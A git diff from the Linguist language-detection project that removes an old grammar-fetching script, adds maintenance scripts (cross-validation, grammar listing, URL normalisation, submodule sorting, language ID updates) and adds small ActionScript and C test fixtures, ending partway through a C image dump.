-    end
-  end
-
-  def initialize(directory)
-    @directory = directory
-  end
-
-  def url
-    @directory
-  end
-
-  def fetch(tmp_dir)
-    self.class.fetch(File.join(ROOT, @directory))
-  end
-end
-
-class TarballPackage
-  def self.fetch(tmp_dir, url)
-    `curl --silent --location --max-time 30 --output "#{tmp_dir}/archive" "#{url}"`
-    raise "Failed to fetch GH package: #{url} #{$?.to_s}" unless $?.success?
-
-    output = File.join(tmp_dir, 'extracted')
-    Dir.mkdir(output)
-    `tar -C "#{output}" -xf "#{tmp_dir}/archive"`
-    raise "Failed to uncompress tarball: #{tmp_dir}/archive (from #{url}) #{$?.to_s}" unless $?.success?
-
-    DirectoryPackage.fetch(output)
-  end
-
-  attr_reader :url
-
-  def initialize(url)
-    @url = url
-  end
-
-  def fetch(tmp_dir)
-    self.class.fetch(tmp_dir, url)
-  end
-end
-
-class SingleGrammar
-  attr_reader :url
-
-  def initialize(url)
-    @url = url
-  end
-
-  def fetch(tmp_dir)
-    filename = File.join(tmp_dir, File.basename(url))
-    `curl --silent --location --max-time 10 --output "#{filename}" "#{url}"`
-    raise "Failed to fetch grammar: #{url}: #{$?.to_s}" unless $?.success?
-    [filename]
-  end
-end
-
-class SVNPackage
-  attr_reader :url
-
-  def initialize(url)
-    @url = url
-  end
-
-  def fetch(tmp_dir)
-    `svn export -q "#{url}/Syntaxes" "#{tmp_dir}/Syntaxes"`
-    raise "Failed to export SVN repository: #{url}: #{$?.to_s}" unless $?.success?
-    Dir["#{tmp_dir}/Syntaxes/*.{plist,tmLanguage,tmlanguage}"]
-  end
-end
-
-class GitHubPackage
-  def self.parse_url(url)
-    url, ref = url.split("@", 2)
-    path = URI.parse(url).path.split('/')
-    [path[1], path[2].chomp('.git'), ref || "master"]
-  end
-
-  attr_reader :user
-  attr_reader :repo
-  attr_reader :ref
-
-  def initialize(url)
-    @user, @repo, @ref = self.class.parse_url(url)
-  end
-
-  def url
-    suffix = "@#{ref}" unless ref == "master"
-    "https://github.com/#{user}/#{repo}#{suffix}"
-  end
-
-  def fetch(tmp_dir)
-    url = "https://github.com/#{user}/#{repo}/archive/#{ref}.tar.gz"
-    TarballPackage.fetch(tmp_dir, url)
-  end
-end
-
-def load_grammar(path)
-  case File.extname(path.downcase)
-  when '.plist', '.tmlanguage'
-    Plist::parse_xml(path)
-  when '.cson'
-    cson = `"#{CSONC}" "#{path}"`
-    raise "Failed to convert CSON grammar '#{path}': #{$?.to_s}" unless $?.success?
-    JSON.parse(cson)
-  when '.json'
-    JSON.parse(File.read(path))
-  else
-    raise "Invalid document type #{path}"
-  end
-end
-
-def load_grammars(tmp_dir, source, all_scopes)
-  is_url = source.start_with?("http:", "https:")
-  return [] if is_url && !$options[:remote]
-
-  p = if !is_url
-        if File.directory?(source)
-          DirectoryPackage.new(source)
-        else
-          SingleFile.new(source)
-        end
-      elsif source.end_with?('.tmLanguage', '.plist')
-        SingleGrammar.new(source)
-      elsif source.start_with?('https://github.com')
-        GitHubPackage.new(source)
-      elsif source.start_with?('http://svn.textmate.org')
-        SVNPackage.new(source)
-      elsif source.end_with?('.tar.gz')
-        TarballPackage.new(source)
-      else
-        nil
-      end
-
-  raise "Unsupported source: #{source}" unless p
-
-  p.fetch(tmp_dir).map do |path|
-    grammar = load_grammar(path)
-    scope = grammar['scopeName']
-
-    if all_scopes.key?(scope)
-      unless all_scopes[scope] == p.url
-        $stderr.puts "WARN: Duplicated scope #{scope}\n" +
-          "  Current package: #{p.url}\n" +
-          "  Previous package: #{all_scopes[scope]}"
-      end
-      next
-    end
-    all_scopes[scope] = p.url
-    grammar
-  end.compact
-end
-
-def install_grammars(grammars, path)
-  installed = []
-
-  grammars.each do |grammar|
-    scope = grammar['scopeName']
-    File.write(File.join(GRAMMARS_PATH, "#{scope}.json"), JSON.pretty_generate(grammar))
-    installed << scope
-  end
-
-  $stderr.puts("OK #{path} (#{installed.join(', ')})")
-end
-
-def run_thread(queue, all_scopes)
-  Dir.mktmpdir do |tmpdir|
-    loop do
-      source, index = begin
-        queue.pop(true)
-      rescue ThreadError
-        # The queue is empty.
-        break
-      end
-
-      dir = "#{tmpdir}/#{index}"
-      Dir.mkdir(dir)
-
-      grammars = load_grammars(dir, source, all_scopes)
-      install_grammars(grammars, source) if $options[:install]
-    end
-  end
-end
-
-def generate_yaml(all_scopes, base)
-  yaml = all_scopes.each_with_object(base) do |(key,value),out|
-    out[value] ||= []
-    out[value] << key
-  end
-
-  yaml = Hash[yaml.sort]
-  yaml.each { |k, v| v.sort! }
-  yaml
-end
-
-def main(sources)
-  begin
-    Dir.mkdir(GRAMMARS_PATH)
-  rescue Errno::EEXIST
-  end
-
-  `npm install`
-
-  all_scopes = {}
-
-  if source = $options[:add]
-    Dir.mktmpdir do |tmpdir|
-      grammars = load_grammars(tmpdir, source, all_scopes)
-      install_grammars(grammars, source) if $options[:install]
-    end
-    generate_yaml(all_scopes, sources)
-  else
-    queue = Queue.new
-
-    sources.each do |url, scopes|
-      queue.push([url, queue.length])
-    end
-
-    threads = 8.times.map do
-      Thread.new { run_thread(queue, all_scopes) }
-    end
-    threads.each(&:join)
-    generate_yaml(all_scopes, {})
-  end
-end
-
-OptionParser.new do |opts|
-  opts.banner = "Usage: #{$0} [options]"
-
-  opts.on("--add GRAMMAR", "Add a new grammar. GRAMMAR may be a file path or URL.") do |a|
-    $options[:add] = a
-  end
-
-  opts.on("--[no-]install", "Install grammars into grammars/ directory.") do |i|
-    $options[:install] = i
-  end
-
-  opts.on("--output FILE", "Write output to FILE. Use - for stdout.") do |o|
-    $options[:output] = o == "-" ? $stdout : o
-  end
-
-  opts.on("--[no-]remote", "Download remote grammars.") do |r|
-    $options[:remote] = r
-  end
-end.parse!
-
-sources = File.open(SOURCES_FILE) do |file|
-  YAML.load(file)
-end
-
-yaml = main(sources)
-
-if $options[:output].is_a?(IO)
-  $options[:output].write(YAML.dump(yaml))
-else
-  File.write($options[:output], YAML.dump(yaml))
-end
diff --git a/script/cross-validation b/script/cross-validation
new file mode 100755
index 0000000000..a47184e0ec
--- /dev/null
+++ b/script/cross-validation
@@ -0,0 +1,148 @@
+#!/usr/bin/env ruby
+
+# Number of acceptable classification errors.
+# It should only be decreased.
+ACCEPTABLE_ERRORS = 14
+
+# Number of acceptable classification errors when using --all.
+# It should only be decreased.
+ACCEPTABLE_ERRORS_ALL = 744
+
+# Avoid buffering output.
+STDOUT.sync = true
+STDERR.sync = true
+
+def print_usage(out)
+  out.puts "Usage: #{$PROGRAM_NAME} [--all] [--extensions=<list>] [--test]"
+  out.puts ''
+  out.puts 'Performs leave-one-out cross-validation of the classifier.'
+  out.puts 'By default, outputs results only for samples with ambiguous extensions.'
+  out.puts 'If the --all flag is given, all samples and languages are considered.'
+  out.puts ''
+  out.puts 'If the --extensions option is used, only the extensions specified in the comma-seperated list will be considered.'
+  out.puts 'Extensions in the list must include the starting dot.'
+  out.puts ''
+  out.puts 'The --test flag can be used to verify that the number of errors is acceptable.'
+end
+
+if ARGV.include? '--help' or ARGV.include? '-h'
+  print_usage STDOUT
+  exit 0
+end
+
+$all = false
+$test = false
+$exts = []
+ARGV.each_with_index do |arg, index|
+  case arg
+  when '--all'
+    $all = true
+  when '--test'
+    $test = true
+  when /^--extensions=(.*)$/
+    $exts = $1.delete("'\"").split(',').map(&:strip)
+  else
+    STDERR.puts "Invalid command line argument: #{arg}"
+    STDERR.puts ''
+    print_usage STDERR
+    exit 1
+  end
+end
+
+require 'parallel'
+require 'set'
+require 'linguist'
+include Linguist
+
+# Skip extensions with catch-all heuristic.
+# Disabled with --all.
+$skip_extensions = Set.new
+unless $all
+  Heuristics.all.each do |h|
+    rules = h.instance_variable_get(:@rules)
+    if rules[-1]['pattern'].is_a? AlwaysMatch
+      $skip_extensions |= Set.new(h.extensions)
+    end
+  end
+end
+
+$samples = []
+Samples.each do |sample|
+  sample[:data] = File.read(sample[:path])
+  sample[:tokens] = Tokenizer.tokenize(sample[:data])
+  $samples << sample
+end
+
+def eval(sample)
+  return nil if $skip_extensions.include? sample[:extname]
+
+  # Apply extensions list filter
+  if $exts.any? && !$exts.include?(File.extname(sample[:path]))
+    return nil
+  end
+
+  # If --all is set, use all languages. Otherwise, get only languages that are
+  # ambiguous in terms of filename and extension.
+  if $all
+    # nil languages is the same as all languages.
+    languages = nil
+  else
+    languages = Language.find_by_filename(sample[:path]).map(&:name)
+    return nil if languages.length == 1
+    languages = Language.find_by_extension(sample[:path]).map(&:name)
+    return nil if languages.length <= 1
+  end
+
+  # Test only languages with at least 2 samples.
+  n_samples = 0
+  $samples.each do |other_sample|
+    if other_sample[:language] == sample[:language]
+      n_samples += 1
+    end
+  end
+  if n_samples <= 1
+    warn "WARNING: No cross-validation possible for #{sample[:language]} (only one sample)"
+    return nil
+  end
+
+  # Train the classifier.
+  db = {}
+  train_samples = $samples.select { |s| s[:path] != sample[:path] }
+  train_samples.each do |train_sample|
+    Classifier.train!(db, train_sample[:language], train_sample[:tokens])
+  end
+  Classifier.finalize_train! db
+
+  # Get result.
+  results = Classifier.classify(db, sample[:data], languages)
+  path = sample[:path].sub("#{Samples::ROOT}/", '')
+  if results.length == 0
+    "#{path} BAD (Unknown)"
+  elsif sample[:language] == results.first[0]
+    "#{path} GOOD"
+  else
+    "#{path} BAD (#{results.first[0]})"
+  end
+end
+
+results = Parallel.map($samples) { |sample| eval(sample) }
+results.reject! { |s| s.nil? }
+results.sort!
+
+total_errors = 0
+results.each do |res|
+  STDOUT.puts res
+  total_errors += 1 if res.include? ' BAD '
+end
+
+if $test
+  acceptable_errors = $all ? ACCEPTABLE_ERRORS_ALL : ACCEPTABLE_ERRORS
+  STDOUT.flush
+  STDERR.puts ''
+  if total_errors > acceptable_errors
+    STDERR.puts "Number of errors (#{total_errors}) is above the acceptable threshold (#{acceptable_errors})"
+    exit 1
+  else
+    STDOUT.puts "Number of errors (#{total_errors}) is within the acceptable threshold (#{acceptable_errors})"
+  end
+end
diff --git a/script/fast-submodule-update b/script/fast-submodule-update
index dff1be7dad..bf10301b67 100755
--- a/script/fast-submodule-update
+++ b/script/fast-submodule-update
@@ -51,7 +51,7 @@ SUBMODULES.partition { |submodule| SLOW_SUBMODULES.include?(submodule) }.flatten
   submodules.push(submodule)
 end
 
-8.times do
+(ARGV.first || 8).to_i.times do
   Thread.new { run_thread(submodules, results) }
 end
 
diff --git a/script/grammar-compiler b/script/grammar-compiler
new file mode 100755
index 0000000000..b1945ea4d9
--- /dev/null
+++ b/script/grammar-compiler
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+set -e
+cd "$(dirname "$0")/.."
+
+image="linguist/grammar-compiler:latest"
+mkdir -p grammars
+
+if [ -z "$REBUILD" ]; then
+    docker pull $image
+else
+    cd tools/grammars
+    image=$(docker build -q .)
+    cd "../.."
+fi
+
+exec docker run --rm \
+    -u "$(id -u "$USER")":"$(id -g "$USER")" \
+    -v "$PWD:/src/linguist" \
+    -w /src/linguist "$image" "$@"
diff --git a/script/licensed b/script/licensed
deleted file mode 100755
index ea3f538f56..0000000000
--- a/script/licensed
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/usr/bin/env ruby
-
-# TODO: push these changes to licensor gem
-
-require "bundler/setup"
-require "licensed/cli"
-
-module Licensed
-  module Source
-    class Filesystem
-      attr_reader :type
-
-      def initialize(glob, type: "directory")
-        @glob = glob
-        @type = type
-      end
-
-      def enabled?
-        !Dir.glob(@glob).empty?
-      end
-
-      def dependencies
-        Dir.glob(@glob).map do |directory|
-          puts "caching #{directory}"
-          Licensed::Dependency.new(directory, {
-            "type" => type,
-            "name" => File.basename(directory)
-          })
-        end
-      end
-    end
-  end
-end
-
-source = Licensed::Source::Filesystem.new("vendor/grammars/*/", type: "grammar")
-config = Licensed::Configuration.new
-config.sources << source
-
-command = if ARGV[0] == "verify"
-  Licensed::Command::Verify.new(config)
-else
-  Licensed::Command::Cache.new(config)
-end
-
-command.run
-exit command.success?
diff --git a/script/list-grammars b/script/list-grammars
new file mode 100755
index 0000000000..5cd47c9b61
--- /dev/null
+++ b/script/list-grammars
@@ -0,0 +1,135 @@
+#!/usr/bin/env ruby
+
+require "bundler/setup"
+require "linguist"
+require "json"
+require "yaml"
+
+TREE_SITTER_GRAMMARS = {
+  "C" => "https://github.com/tree-sitter/tree-sitter-c",
+  "C#" => "https://github.com/tree-sitter/tree-sitter-c-sharp",
+  "CodeQL" => "https://github.com/tree-sitter/tree-sitter-ql",
+  "CSS" => "https://github.com/tree-sitter/tree-sitter-css",
+  "EJS" => "https://github.com/tree-sitter/tree-sitter-embedded-template",
+  "Elixir" => "https://github.com/elixir-lang/tree-sitter-elixir",
+  "ERB" => "https://github.com/tree-sitter/tree-sitter-embedded-template",
+  "Gleam" => "https://github.com/gleam-lang/tree-sitter-gleam",
+  "Go" => "https://github.com/tree-sitter/tree-sitter-go",
+  "HTML" => "https://github.com/tree-sitter/tree-sitter-html",
+  "Java" => "https://github.com/tree-sitter/tree-sitter-java",
+  "JavaScript" => "https://github.com/tree-sitter/tree-sitter-javascript",
+  "Nix" => "https://github.com/nix-community/tree-sitter-nix",
+  "PHP" => "https://github.com/tree-sitter/tree-sitter-php",
+  "Python" => "https://github.com/tree-sitter/tree-sitter-python",
+  "Regular Expression" => "https://github.com/tree-sitter/tree-sitter-regex",
+  "Ruby" => "https://github.com/tree-sitter/tree-sitter-ruby",
+  "Rust" => "https://github.com/tree-sitter/tree-sitter-rust",
+  "Swift" => "https://github.com/alex-pinkus/tree-sitter-swift",
+  "TLA" => "https://github.com/tlaplus-community/tree-sitter-tlaplus",
+  "TypeScript" => "https://github.com/tree-sitter/tree-sitter-typescript"
+}
+
+class GrammarList
+
+  ROOT = File.expand_path "../../", __FILE__
+
+  def initialize
+    @submodules     = load_submodules()
+    @sources        = load_sources()
+    @language_names = load_languages()
+  end
+
+  # Load .gitmodules
+  def load_submodules
+    submodules = {}
+    submodule_file = File.read("#{ROOT}/.gitmodules")
+    pattern = /^\[submodule\s*"([^"]+)"\]$\n((?:^(?!\[).+(?:\n|$))+)/is
+    submodule_file.scan(pattern) do |id, attr|
+      submod = {}
+      submod[:path]  = $1 if attr =~ /^\s*path\s*=\s*(.+)$/
+      submod[:url]   = $1 if attr =~ /^\s*url\s*=\s*(.+)$/
+      submod[:url].gsub!(/\.git$/, "")
+      submod[:short] = shorten(submod[:url])
+      submodules["#{id}"] = submod
+    end
+    submodules
+  end
+
+  # Grab the name of each language, sorted case-insensitively
+  def load_languages
+    Linguist::Language.all.map(&:name).sort
+  end
+
+  # Load grammars.yml
+  def load_sources
+    sources = {}
+    grammars = YAML.load_file("#{ROOT}/grammars.yml")
+    grammars.each do |path, scopes|
+      scopes.each { |scope| sources[scope] = path }
+    end
+    sources
+  end
+
+  # Shorten a repository URL
+  def shorten(url)
+    if url =~ /^https?:\/\/(?:www\.)?github\.com\/([^\/]+\/[^\/]+)/i
+      $1
+    elsif url =~ /^https?:\/\/(?:www\.)?(bitbucket|gitlab)\.(?:com|org)\/([^\/]+\/[^\/]+)/i
+      "#{$1.downcase()}:#{$2}"
+    else
+      url.replace(/^https?:\/\/(?:www\.)?/i, "")
+    end
+  end
+
+  # Markdown: Generate grammar list
+  def to_markdown
+    markdown = ""
+    @language_names.each do |item|
+      lang  = Linguist::Language["#{item}"]
+      marker = ""
+      scope = lang.tm_scope
+      next if scope == "none"
+      path  = @sources[scope] || scope
+      case path
+      when "https://bitbucket.org/Clams/sublimesystemverilog/get/default.tar.gz"
+        short_url = "bitbucket:Clams/sublimesystemverilog"
+        long_url  = "https://bitbucket.org/Clams/sublimesystemverilog"
+      when "https://svn.edgewall.org/repos/genshi/contrib/textmate/Genshi.tmbundle/Syntaxes/Markup%20Template%20%28XML%29.tmLanguage"
+        short_url = "genshi.edgewall.org/query"
+        long_url  = "https://genshi.edgewall.org/query"
+      when "vendor/grammars/oz-tmbundle/Syntaxes/Oz.tmLanguage"
+        short_url = "eregon/oz-tmbundle"
+        long_url  = "https://github.com/eregon/oz-tmbundle"
+      else
+        submodule = @submodules[(@sources[scope] || scope).chomp("/")]
+        next unless submodule
+        short_url = submodule[:short]
+        long_url  = submodule[:url]
+        if TREE_SITTER_GRAMMARS.keys.include?(item)
+          short_url = shorten(TREE_SITTER_GRAMMARS[item])
+          long_url  = TREE_SITTER_GRAMMARS[item]
+          marker = " 🐌"
+        end
+      end
+      item = item.gsub("*", "\\*")
+      markdown += "- **#{item}:** [#{short_url}](#{long_url})#{marker}\n"
+    end
+
+    markdown
+  end
+
+  # Update the file displaying the reader-friendly list of grammar repos
+  def update_readme
+    readme = "#{ROOT}/vendor/README.md"
+    preamble = File.read(readme).match(/\A.+?<!--.+?-->\n/mu)
+    list = self.to_markdown
+    File.write(readme, preamble.to_s + list)
+  end
+end
+
+list = GrammarList.new
+if ARGV.include? "--print"
+  puts list.to_markdown
+else
+  list.update_readme
+end
diff --git a/script/normalise-url b/script/normalise-url
new file mode 100755
index 0000000000..c2d48105dc
--- /dev/null
+++ b/script/normalise-url
@@ -0,0 +1,143 @@
+#!/usr/bin/env ruby
+
+require "English"
+
+# Whitelisted grammar providers
+HOSTS = %w[
+  github.com
+  gitlab.com
+  bitbucket.org
+]
+
+# Construct a well-formed URL from the output of `parse_url()`
+def build_url(hash)
+  path = "#{hash[:user]}/#{hash[:repo]}.git"
+  if hash[:protocol] == "ssh"
+    "git@#{hash[:host]}:#{path}"
+  else
+    "#{hash[:protocol]}://#{hash[:host]}/#{path}"
+  end
+end
+
+# Break a repository URL into its separate components
+def parse_url(input)
+  hosts = %r[#{HOSTS.map { |x| Regexp.escape x }.join "|"}]i
+
+  # HTTPS/HTTP link pointing to recognised hosts
+  case input
+  when %r[^
+    (?:
+      (?<protocol> https?|ssh|git)
+      (?:\+(?:git|ssh))? # Allowed, but deprecated
+    )? :* /*
+    (?:[^.@]*@)?
+    (?:www\.)?
+    (?<host> #{hosts}) /+
+    (?<user> [^:@/]+)  /+
+    (?<repo> [^:@/]+?)
+    (?:\.git)? (?=$|[/#])
+  ]ix; {
+    protocol: ($LAST_MATCH_INFO[:protocol] or "https").downcase,
+    host:      $LAST_MATCH_INFO[:host].downcase,
+    user:      $LAST_MATCH_INFO[:user],
+    repo:      $LAST_MATCH_INFO[:repo]
+  }
+
+  # SSH
+  when %r[^
+    git (?:\+(?:ssh|https?))? @
+    (?:www\.)?
+    (?<host> #{hosts}) :/*
+    (?<user> [^:@/]+) /+
+    (?<repo> [^:@/]+?)
+    (?:\.git)? /*$
+  ]ix; {
+    protocol: "ssh",
+    host: $LAST_MATCH_INFO[:host].downcase,
+    user: $LAST_MATCH_INFO[:user],
+    repo: $LAST_MATCH_INFO[:repo]
+  }
+
+  # provider:user/repo
+  when %r[^
+    (?<host>
+      gh | github |
+      gl | gitlab |
+      bb | bitbucket
+    ) :/*
+    (?<user> [^:@/]+) /+
+    (?<repo> [^:@/]+?)
+    (?:\.git)? /*$
+  ]ix; {
+    protocol: "https",
+    host: (case $LAST_MATCH_INFO[:host].downcase
+      when "gh", "github";    "github.com"
+      when "gl", "gitlab";    "gitlab.com"
+      when "bb", "bitbucket"; "bitbucket.org"
+    end),
+    user: $LAST_MATCH_INFO[:user],
+    repo: $LAST_MATCH_INFO[:repo]
+  }
+
+  # user/repo - Common GitHub shorthand
+  when %r[^
+    /*
+    (?<user> [^:@/]+) /+
+    (?<repo> [^:@/]+?)
+    (?:\.git)? /*$
+  ]ix; {
+    protocol: "https",
+    host: "github.com",
+    user: $LAST_MATCH_INFO[:user],
+    repo: $LAST_MATCH_INFO[:repo]
+  }
+
+  # Not something we recognise
+  else
+    raise "Unsupported URL: #{input}"
+  end
+end
+
+
+require "optparse"
+$json     = false
+$protocol = nil
+
+OptionParser.new do |opts|
+  opts.banner = <<~END
+  #{$PROGRAM_NAME}: Resolve a repository URL from various formats
+
+  Usage:
+      #{$PROGRAM_NAME} [-p|--protocol name] ...urls
+      #{$PROGRAM_NAME} [-j|--json] ...urls
+      #{$PROGRAM_NAME} [-h|--hosts]
+
+  Examples:
+     $ #{$PROGRAM_NAME} Alhadis/language-etc BB:user/name
+    => https://github.com/Alhadis/language-etc.git
+       https://bitbucket.org/user/name.git
+
+  Options:
+  END
+  opts.on("-h", "--hosts", "Print a list of whitelisted grammar hosts, then exit") do
+    puts HOSTS.join $RS
+    exit
+  end
+  opts.on("-j", "--json", "Output parsed URLs as an array of JSON objects") do
+    $json = true
+  end
+  opts.on("-pNAME", "--protocol=NAME", "Force URLs to use a protocol, even if different. Ignored for JSON output.") do |name|
+    $protocol = name.to_s.downcase
+  end
+end.parse!
+
+if $json
+  require "json"
+  puts JSON.pretty_generate ARGV.map { |x| parse_url x }, { indent: "\t" }
+else
+  ARGV.each do |arg|
+    url = parse_url arg
+    url[:protocol] = $protocol unless $protocol.nil?
+    puts build_url(url)
+  end
+end
diff --git a/script/prune-grammars b/script/prune-grammars
deleted file mode 100755
index 0fab9e6a4e..0000000000
--- a/script/prune-grammars
+++ /dev/null
@@ -1,57 +0,0 @@
-#!/usr/bin/env ruby
-
-require "json"
-require "linguist"
-require "set"
-require "yaml"
-
-def find_includes(json)
-  case json
-  when Hash
-    result = []
-    if inc = json["include"]
-      result << inc.split("#", 2).first unless inc.start_with?("#", "$")
-    end
-    result + json.values.flat_map { |v| find_includes(v) }
-  when Array
-    json.flat_map { |v| find_includes(v) }
-  else
-    []
-  end
-end
-
-def transitive_includes(scope, includes)
-  scopes = Set.new
-  queue = includes[scope] || []
-  while s = queue.shift
-    next if scopes.include?(s)
-    scopes << s
-    queue += includes[s] || []
-  end
-  scopes
-end
-
-includes = {}
-Dir["grammars/*.json"].each do |path|
-  scope = File.basename(path).sub(/\.json/, '')
-  json = JSON.load(File.read(path))
-  incs = find_includes(json)
-  next if incs.empty?
-  includes[scope] ||= []
-  includes[scope] += incs
-end
-
-yaml = YAML.load(File.read("grammars.yml"))
-language_scopes = Linguist::Language.all.map(&:tm_scope).to_set
-
-# The set of used scopes is the scopes for each language, plus all the scopes
-# they include, transitively.
-used_scopes = language_scopes + language_scopes.flat_map { |s| transitive_includes(s, includes).to_a }.to_set
-
-unused = yaml.reject { |repo, scopes| scopes.any? { |scope| used_scopes.include?(scope) } }
-
-puts "Unused grammar repos"
-puts unused.map { |repo, scopes| sprintf("%-100s %s", repo, scopes.join(", ")) }.sort.join("\n")
-
-yaml.delete_if { |k| unused.key?(k) }
-File.write("grammars.yml", YAML.dump(yaml))
diff --git a/script/sort-submodules b/script/sort-submodules
new file mode 100755
index 0000000000..a6dccc49d3
--- /dev/null
+++ b/script/sort-submodules
@@ -0,0 +1,50 @@
+#!/usr/bin/env ruby
+
+require "optparse"
+
+ROOT = File.expand_path "../../", __FILE__
+
+
+# Extract and sort a list of submodules
+def sort_entries(file_data)
+  submodules = []
+  file_data.scan(/(^\[submodule[^\n]+\n)((?:\t[^\n]+\n)+)/).each do |head, body|
+    path = body.match(/^\tpath\s*=\s*\K(.+)$/)[0]
+    submodules << [path, head + body]
+  end
+  submodules.sort! { |a,b| a[0] <=> b[0] }
+  submodules.collect { |i| i[1] }
+end
+
+
+usage = <<-EOH
+Usage:
+  #{$0} [-t|--test] [-h|--help]
+
+Examples:
+  #{$0}         # Update .gitmodules file in-place
+  #{$0} --help  # Display this help message
+  #{$0} --test  # Exit with an error code if .gitmodules needs sorting
+EOH
+
+$testing = false
+OptionParser.new do |opts|
+  opts.banner = usage
+  opts.on("-h", "--help") do
+    puts usage
+    exit
+  end
+  opts.on("-t", "--test", "Don't update file; only test if it's unsorted") do
+    $testing = true
+  end
+end.parse!
+
+
+unsorted = File.read("#{ROOT}/.gitmodules")
+sorted = sort_entries(unsorted).join
+
+if $testing
+  exit unsorted == sorted
+else
+  File.write "#{ROOT}/.gitmodules", sorted
+end
diff --git a/script/travis/before_install b/script/travis/before_install
deleted file mode 100755
index e83b930fd8..0000000000
--- a/script/travis/before_install
+++ /dev/null
@@ -1,13 +0,0 @@
-#!/bin/sh
-
-set -ex
-
-# Fetch all commits/refs needed to run our tests.
-git fetch origin master:master v2.0.0:v2.0.0 test/attributes:test/attributes test/master:test/master
-
-# Replace SSH links to submodules by HTTPS links.
-sed -i 's/git@github.com:/https:\/\/github.com\//' .gitmodules
-
-git submodule init
-git submodule sync --quiet
-script/fast-submodule-update
diff --git a/script/update-ids b/script/update-ids
new file mode 100755
index 0000000000..a256245d7e
--- /dev/null
+++ b/script/update-ids
@@ -0,0 +1,66 @@
+#!/usr/bin/env ruby
+
+require 'bundler/setup'
+require 'yaml'
+require 'pry'
+require 'digest'
+
+def generate_language_id(language)
+  Digest::SHA256.hexdigest(language).to_i(16) % (2**30 - 1)
+end
+
+data = File.read("lib/linguist/languages.yml")
+header = data.match(/\A(?:^#[^\n]*\n|^[ \t]*\n)+/m)[0]
+languages = YAML.load(data)
+
+
+# Do a dry-run to report which languages are missing IDs
+if ARGV[0] == "--check"
+  missing = []
+
+  languages.each do |name, vals|
+    missing << name unless vals.has_key?('language_id')
+  end
+
+  list = missing.map {|n| "  - #{n}"}.join("\n")
+  case missing.count
+  when 0
+    puts "No languages were found with missing IDs."
+    exit 0
+  when 1
+    puts "1 language was found with a missing ID:"
+    puts "\n#{list}\n\n"
+    puts "Run `#{$0}` to generate it."
+  else
+    puts "#{missing.count} languages were found with missing IDs:"
+    puts "\n#{list}\n\n"
+    puts "Run `#{$0}` to generate them."
+  end
+  exit 1
+
+# Generate `language_id' fields for those entries missing them.
+else
+  updated = []
+
+  languages.each do |name, vals|
+    unless vals.has_key?('language_id')
+      vals.merge!('language_id' => generate_language_id(name))
+      updated << name
+    end
+  end
+
+  list = updated.map {|n| "  - #{n}"}.join("\n")
+  case updated.count
+  when 0
+    puts "No languages were found with missing IDs."
+    exit
+  when 1
+    puts "Updated 1 language:"
+    puts "\n#{list}\n\n"
+  else
+    puts "Updated #{updated.count} languages:"
+    puts "\n#{list}\n\n"
+  end
+
+  File.write("lib/linguist/languages.yml", header + YAML.dump(languages))
+end
diff --git a/test/fixtures/ActionScript/Functional.as b/test/fixtures/ActionScript/Functional.as
new file mode 100644
index 0000000000..4fe6b9b87e
--- /dev/null
+++ b/test/fixtures/ActionScript/Functional.as
@@ -0,0 +1,5 @@
+// AS3: Unique (from Angelscript) function declaration syntax using the function keyword
+
+package{
+	function foo();
+}
diff --git a/test/fixtures/ActionScript/GlobalVariables.as b/test/fixtures/ActionScript/GlobalVariables.as
new file mode 100644
index 0000000000..0f04f257bb
--- /dev/null
+++ b/test/fixtures/ActionScript/GlobalVariables.as
@@ -0,0 +1,3 @@
+// AS3: Global variable declaration
+
+const foo: Number;
diff --git a/test/fixtures/ActionScript/ImportAll.as b/test/fixtures/ActionScript/ImportAll.as
new file mode 100644
index 0000000000..9df58e575a
--- /dev/null
+++ b/test/fixtures/ActionScript/ImportAll.as
@@ -0,0 +1,5 @@
+// AS2: Import all classes from a package
+
+import flash.*;
+
+class ImportAll {}
diff --git a/test/fixtures/ActionScript/Intrinsic.as b/test/fixtures/ActionScript/Intrinsic.as
new file mode 100644
index 0000000000..21202fcf0c
--- /dev/null
+++ b/test/fixtures/ActionScript/Intrinsic.as
@@ -0,0 +1,3 @@
+// AS2: Intrinsic class declaration
+
+intrinsic class Intrinsic {}
diff --git a/test/fixtures/ActionScript/Minimal.as b/test/fixtures/ActionScript/Minimal.as
new file mode 100644
index 0000000000..f78801bf89
--- /dev/null
+++ b/test/fixtures/ActionScript/Minimal.as
@@ -0,0 +1,3 @@
+// AS3: An empty package with no name
+
+package {}
diff --git a/test/fixtures/ActionScript/Versioning.as b/test/fixtures/ActionScript/Versioning.as
new file mode 100644
index 0000000000..ac0a678353
--- /dev/null
+++ b/test/fixtures/ActionScript/Versioning.as
@@ -0,0 +1,5 @@
+// AS2/AS3: The contents of a file can be included into another file using
+// the include directive. A common idiom is to include a library version
+// number into a component's definition.
+
+public static const VERSION: Number = 42;
diff --git a/test/fixtures/C/image.c b/test/fixtures/C/image.c
new file mode 100644
index 0000000000..555158b0d5
--- /dev/null
+++ b/test/fixtures/C/image.c
@@ -0,0 +1,42 @@
+/* GIMP RGB C-Source image dump (image.c) */
+
+static const struct {
+  guint  	 width;
+  guint  	 height;
+  guint  	 bytes_per_pixel; /* 2:RGB16, 3:RGB, 4:RGBA */ 
+  guint8 	 pixel_data[16 * 16 * 3 + 1];
+} gimp_image = {
+  16, 16, 3,
+  "\377\063\000\377T\001\377\207\001\377\272\000\377\354\000\341\377\001\256\377\000{\377\001"
+  "Z\377\000(\377\000\000\377\014\001\377>\000\377q\001\377\243\000\377\325\001\377\367\377T"
+  "\001\377\207\001\377\271\000\377\354\000\341\377\001\256\377\001{\377\001Z\377\001(\377\001"
+  "\000\377\014\001\377>\001\377q\001\377\243\000\377\325\001\377\367\001\325\377\377\207\000"
+  "\377\272\001\377\354\000\341\377\001\257\377\001|\377\000[\377\001(\377\000\001\377\013\001"
+  "\377>\000\377q\000\377\244\000\377\325\000\377\367\000\325\377\001\243\377\377\272\001"
+  "\377\354\001\340\377\001\256\377\000|\377\001Z\377\000(\377\000\001\377\014\001\377>\000\377"
+  "q\000\377\243\001\377\326\000\377\370\001\325\377\001\243\377\000q\377\377\354\000\341"
+  "\377\001\257\377\000|\377\000Z\377\001(\377\000\000\377\013\000\377?\001\377q\001\377\243\000"
+  "\377\325\001\377\370\000\326\377\000\243\377\001q\377\000>\377\340\377\001\257\377\001"
+  "{\377\001Z\377\000(\377\001\000\377\014\001\377>\001\377q\000\377\243\000\377\325\000\377\367"
+  "\001\325\377\000\243\377\000p\377\001?\377\000\014\377\256\377\000|\377\000Z\377\001'\377"
